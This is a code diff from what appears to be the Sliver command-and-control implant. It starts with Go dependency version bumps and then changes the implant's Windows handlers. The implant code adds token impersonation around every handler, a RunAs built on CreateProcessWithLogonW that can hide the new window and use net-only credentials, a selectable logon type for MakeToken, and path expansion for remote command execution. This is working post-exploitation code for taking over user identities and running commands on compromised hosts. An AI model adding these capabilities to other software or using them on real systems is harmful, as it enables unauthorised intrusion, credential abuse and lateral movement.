github.com/gofrs/uuid v4.3.1+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.2
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.15
|
||||
github.com/mattn/go-sqlite3 v1.14.16
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/shirou/gopsutil/v3 v3.22.9
|
||||
github.com/shirou/gopsutil/v3 v3.22.10
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.6.0
|
||||
github.com/spf13/cobra v1.6.1
|
||||
github.com/stretchr/testify v1.8.1
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/xlab/treeprint v1.1.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
|
||||
@@ -48,12 +49,12 @@ require (
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.28.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.4.3
|
||||
gorm.io/driver/mysql v1.4.4
|
||||
gorm.io/driver/postgres v1.4.5
|
||||
gorm.io/driver/sqlite v1.4.3
|
||||
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
|
||||
modernc.org/sqlite v1.19.2
|
||||
modernc.org/sqlite v1.19.3
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -124,8 +125,8 @@ require (
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.12 // indirect
|
||||
modernc.org/libc v1.20.3 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 // indirect
|
||||
modernc.org/libc v1.21.2 // indirect
|
||||
modernc.org/mathutil v1.5.0 // indirect
|
||||
modernc.org/memory v1.4.0 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
|
||||
@@ -23,8 +23,8 @@ github.com/Masterminds/semver/v3 v3.1.1 h1:hLg3sBzpNErnxhQtUy/mmLR2I9foDujNK030I
|
||||
github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
|
||||
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
|
||||
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
|
||||
@@ -122,8 +122,8 @@ github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6Wezm
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible h1:CaSVZxm5B+7o45rtab4jC2G37WGYX1zQfuU2i6DSvnc=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.3.1+incompatible h1:0/KbAdpx3UXAx1kEOWHJeOkpbgRFGHVgv+CFIY7dBJI=
|
||||
github.com/gofrs/uuid v4.3.1+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
|
||||
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
@@ -228,8 +228,8 @@ github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dv
|
||||
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.0 h1:YlI/2zYDrweA4MThiYMKtGRfT+2qZOO65ulej8GTcVI=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.0/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.2 h1:DcJNSNIb1E17Tvy9w9S7z+sExvWvvjNbFdyr6C+FUL0=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.2/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
@@ -289,8 +289,9 @@ github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/
|
||||
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
|
||||
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
|
||||
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mattn/go-sqlite3 v1.14.16 h1:yOQRA0RpS5PFz/oikGwBEqvAWhWg5ufRz4ETLjwpU1Y=
|
||||
github.com/mattn/go-sqlite3 v1.14.16/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
|
||||
github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWCdcZk8/vA=
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
@@ -331,8 +332,8 @@ github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OK
|
||||
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||
github.com/shirou/gopsutil/v3 v3.22.9 h1:yibtJhIVEMcdw+tCTbOPiF1VcsuDeTE4utJ8Dm4c5eA=
|
||||
github.com/shirou/gopsutil/v3 v3.22.9/go.mod h1:bBYl1kjgEJpWpxeHmLI+dVHWtyAwfcmSBLDsp2TNT8A=
|
||||
github.com/shirou/gopsutil/v3 v3.22.10 h1:4KMHdfBRYXGF9skjDWiL4RA2N+E8dRdodU/bOZpPoVg=
|
||||
github.com/shirou/gopsutil/v3 v3.22.10/go.mod h1:QNza6r4YQoydyCfo6rH0blGfKahgibh4dQmV5xdFkQk=
|
||||
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
|
||||
github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ=
|
||||
github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
@@ -341,8 +342,8 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/spf13/cobra v1.6.0 h1:42a0n6jwCot1pUmomAp4T7DeMD+20LFv4Q54pxLf2LI=
|
||||
github.com/spf13/cobra v1.6.0/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
|
||||
github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
|
||||
github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
@@ -368,6 +369,8 @@ github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGq
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/tklauser/go-sysconf v0.3.10/go.mod h1:C8XykCvCb+Gn0oNCWPIlcb0RuglQTYaQ2hGm7jmxEFk=
|
||||
github.com/tklauser/numcpus v0.4.0/go.mod h1:1+UI3pD8NW14VMwdgJNJ1ESk2UnwhAnz5hMwiKKqXCQ=
|
||||
github.com/xlab/treeprint v1.1.0 h1:G/1DjNkPpfZCFt9CSh6b5/nY4VimlbHF3Rh4obvtzDk=
|
||||
github.com/xlab/treeprint v1.1.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
@@ -601,8 +604,8 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.4.3 h1:/JhWJhO2v17d8hjApTltKNADm7K7YI2ogkR7avJUL3k=
|
||||
gorm.io/driver/mysql v1.4.3/go.mod h1:sSIebwZAVPiT+27jK9HIwvsqOGKx3YMPmrA3mBJR10c=
|
||||
gorm.io/driver/mysql v1.4.4 h1:MX0K9Qvy0Na4o7qSC/YI7XxqUw5KDw01umqgID+svdQ=
|
||||
gorm.io/driver/mysql v1.4.4/go.mod h1:BCg8cKI+R0j/rZRQxeKis/forqRwRSYOR8OM3Wo6hOM=
|
||||
gorm.io/driver/postgres v1.4.5 h1:mTeXTTtHAgnS9PgmhN2YeUbazYpLhUI1doLnw42XUZc=
|
||||
gorm.io/driver/postgres v1.4.5/go.mod h1:GKNQYSJ14qvWkvPwXljMGehpKrhlDNsqYRr5HnYGncg=
|
||||
gorm.io/driver/sqlite v1.4.3 h1:HBBcZSDnWi5BW3B3rwvVTc510KGkBkexlOg0QrmLUuU=
|
||||
@@ -620,20 +623,20 @@ lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
|
||||
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
|
||||
modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
|
||||
modernc.org/ccgo/v3 v3.16.12 h1:gWAnL87wSqwM6EQ1a+36O9zMFjqx1FBj0p9rA4xbQCY=
|
||||
modernc.org/ccgo/v3 v3.16.12/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g=
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 h1:0+dsXf0zeLx9ixj4nilg6jKe5Bg1ilzBwSFq4kJmIUc=
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/libc v1.20.3 h1:BodaDPuUse7taQchAClMmbE/yZp3T2ZBiwCDFyBLEXw=
|
||||
modernc.org/libc v1.20.3/go.mod h1:ZRfIaEkgrYgZDl6pa4W39HgN5G/yDW+NRmNKZBDFrk0=
|
||||
modernc.org/libc v1.21.2 h1:V053DgNSpAY+IPrO3XlWqrFKUiQqHyPqG4dsx42Ulck=
|
||||
modernc.org/libc v1.21.2/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI=
|
||||
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
|
||||
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/memory v1.4.0 h1:crykUfNSnMAXaOJnnxcSzbUGMqkLWjklJKkBK2nwZwk=
|
||||
modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
|
||||
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
|
||||
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.19.2 h1:1VaNHEe6amuHhelmAOtibvYpAjwLfT4q6cBB2K7ZlQ8=
|
||||
modernc.org/sqlite v1.19.2/go.mod h1:fEgebDYAGTFJj2c/ukKmnaq/0ZQZg0PSYxRa/bHyCDs=
|
||||
modernc.org/sqlite v1.19.3 h1:dIoagx6yIQT3V/zOSeAyZ8OqQyEr17YTgETOXTZNJMA=
|
||||
modernc.org/sqlite v1.19.3/go.mod h1:xiyJD7FY8mTZXnQwE/gEL1STtFrrnDx03V8KhVQmcr8=
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.0 h1:oY+JeD11qVVSgVvodMJsu7Edf8tr5E/7tuhF5cNYz34=
|
||||
|
||||
@@ -530,7 +530,16 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
execResp := &sliverpb.Execute{}
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
exePath, err := expandPath(execReq.Path)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(exePath, execReq.Args...)
|
||||
|
||||
if execReq.Output {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
@@ -929,3 +938,13 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
|
||||
}
|
||||
return readFiles, unreadableFiles, nil
|
||||
}
|
||||
|
||||
func expandPath(exePath string) (string, error) {
|
||||
if !strings.ContainsRune(exePath, os.PathSeparator) {
|
||||
_, err := exec.LookPath(exePath)
|
||||
if err != nil {
|
||||
return filepath.Abs(exePath)
|
||||
}
|
||||
}
|
||||
return exePath, nil
|
||||
}
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"runtime"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -37,6 +38,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
"github.com/bishopfox/sliver/implant/sliver/service"
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -120,6 +122,28 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return windowsHandlers
|
||||
}
|
||||
|
||||
func WrapperHandler(handler RPCHandler, data []byte, resp RPCResponse) {
|
||||
if priv.CurrentToken != 0 {
|
||||
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
}
|
||||
handler(data, resp)
|
||||
if priv.CurrentToken != 0 {
|
||||
err := priv.TRevertToSelf()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------- Windows Handlers ----------------
|
||||
|
||||
func impersonateHandler(data []byte, resp RPCResponse) {
|
||||
@@ -152,10 +176,12 @@ func runAsHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
out, err := priv.RunProcessAsUser(runAsReq.Username, runAsReq.ProcessName, runAsReq.Args)
|
||||
runAs := &sliverpb.RunAs{
|
||||
Output: out,
|
||||
show := 10
|
||||
if runAsReq.HideWindow {
|
||||
show = 0
|
||||
}
|
||||
err = priv.RunAs(runAsReq.Username, runAsReq.Domain, runAsReq.Password, runAsReq.ProcessName, runAsReq.Args, show, runAsReq.NetOnly)
|
||||
runAs := &sliverpb.RunAs{}
|
||||
if err != nil {
|
||||
runAs.Response = &commonpb.Response{Err: err.Error()}
|
||||
}
|
||||
@@ -277,7 +303,16 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
execResp := &sliverpb.Execute{}
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
exePath, err := expandPath(execReq.Path)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(exePath, execReq.Args...)
|
||||
|
||||
// Execute with current token
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{}
|
||||
@@ -424,7 +459,7 @@ func makeTokenHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
makeTokenResp := &sliverpb.MakeToken{}
|
||||
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password)
|
||||
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password, makeTokenReq.LogonType)
|
||||
if err != nil {
|
||||
makeTokenResp.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
|
||||
@@ -281,11 +281,11 @@ func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEnt
|
||||
}
|
||||
entries = append(entries, &sliverpb.SockTabEntry{
|
||||
LocalAddr: &sliverpb.SockTabEntry_SockAddr{
|
||||
Ip: e.LocalAddr.String(),
|
||||
Ip: e.LocalAddr.IP.String(),
|
||||
Port: uint32(e.LocalAddr.Port),
|
||||
},
|
||||
RemoteAddr: &sliverpb.SockTabEntry_SockAddr{
|
||||
Ip: e.RemoteAddr.String(),
|
||||
Ip: e.RemoteAddr.IP.String(),
|
||||
Port: uint32(e.RemoteAddr.Port),
|
||||
},
|
||||
SkState: e.State.String(),
|
||||
|
||||
@@ -96,7 +96,23 @@ func SePrivEnable(s string) error {
|
||||
}
|
||||
|
||||
func RevertToSelf() error {
|
||||
err := windows.RevertToSelf()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("RevertToSelf Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
err = windows.CloseHandle(windows.Handle(CurrentToken))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("CloseHandle Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
CurrentToken = windows.Token(0)
|
||||
return err
|
||||
}
|
||||
|
||||
func TRevertToSelf() error {
|
||||
return windows.RevertToSelf()
|
||||
}
|
||||
|
||||
@@ -224,8 +240,12 @@ func impersonateUser(username string) (token windows.Token, err error) {
|
||||
|
||||
// MakeToken uses LogonUser to create a new logon session with the supplied username, domain and password.
|
||||
// It then impersonates the resulting token to allow access to remote network resources as the specified user.
|
||||
func MakeToken(domain string, username string, password string) error {
|
||||
func MakeToken(domain string, username string, password string, logonType uint32) error {
|
||||
var token windows.Token
|
||||
// Default to LOGON32_LOGON_NEW_CREDENTIALS
|
||||
if logonType == 0 {
|
||||
logonType = syscalls.LOGON32_LOGON_NEW_CREDENTIALS
|
||||
}
|
||||
|
||||
pd, err := windows.UTF16PtrFromString(domain)
|
||||
if err != nil {
|
||||
@@ -239,7 +259,7 @@ func MakeToken(domain string, username string, password string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = syscalls.LogonUser(pu, pd, pp, syscalls.LOGON32_LOGON_NEW_CREDENTIALS, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
|
||||
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("LogonUser failed: %v\n", err)
|
||||
@@ -275,6 +295,82 @@ func deleteRegistryKey(keyPath, keyName string) (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func RunAs(username string, domain string, password string, program string, args string, show int, netonly bool) (err error) {
|
||||
// call CreateProcessWithLogonW to create a new process with the specified credentials
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw
|
||||
// convert username, domain, password, program, args, env, dir to *uint16
|
||||
u, err := windows.UTF16PtrFromString(username)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid username\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
d, err := windows.UTF16PtrFromString(domain)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid domain\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
p, err := windows.UTF16PtrFromString(password)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid password\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
prog, err := windows.UTF16PtrFromString(program)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid program\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
var cmd *uint16
|
||||
if len(args) > 0 {
|
||||
cmd, err = windows.UTF16PtrFromString(fmt.Sprintf("%s %s", program, args))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid prog args\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
}
|
||||
var e *uint16
|
||||
// env := os.Environ()
|
||||
// e, err = windows.UTF16PtrFromString(strings.Join(env, "\x00"))
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Invalid env\n")
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
var di *uint16
|
||||
|
||||
// create a new startup info struct
|
||||
si := &syscalls.StartupInfoEx{
|
||||
StartupInfo: windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESHOWWINDOW,
|
||||
ShowWindow: uint16(show),
|
||||
},
|
||||
}
|
||||
// create a new process info struct
|
||||
pi := &windows.ProcessInformation{}
|
||||
// call CreateProcessWithLogonW
|
||||
var logonFlags uint32 = 0
|
||||
if netonly {
|
||||
logonFlags = 2 // LOGON_NETCREDENTIALS_ONLY
|
||||
}
|
||||
err = syscalls.CreateProcessWithLogonW(u, d, p, logonFlags, prog, cmd, 0, e, di, si, pi)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("CreateProcessWithLogonW failed: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// RunProcessAsUser - Retrieve a primary token belonging to username
|
||||
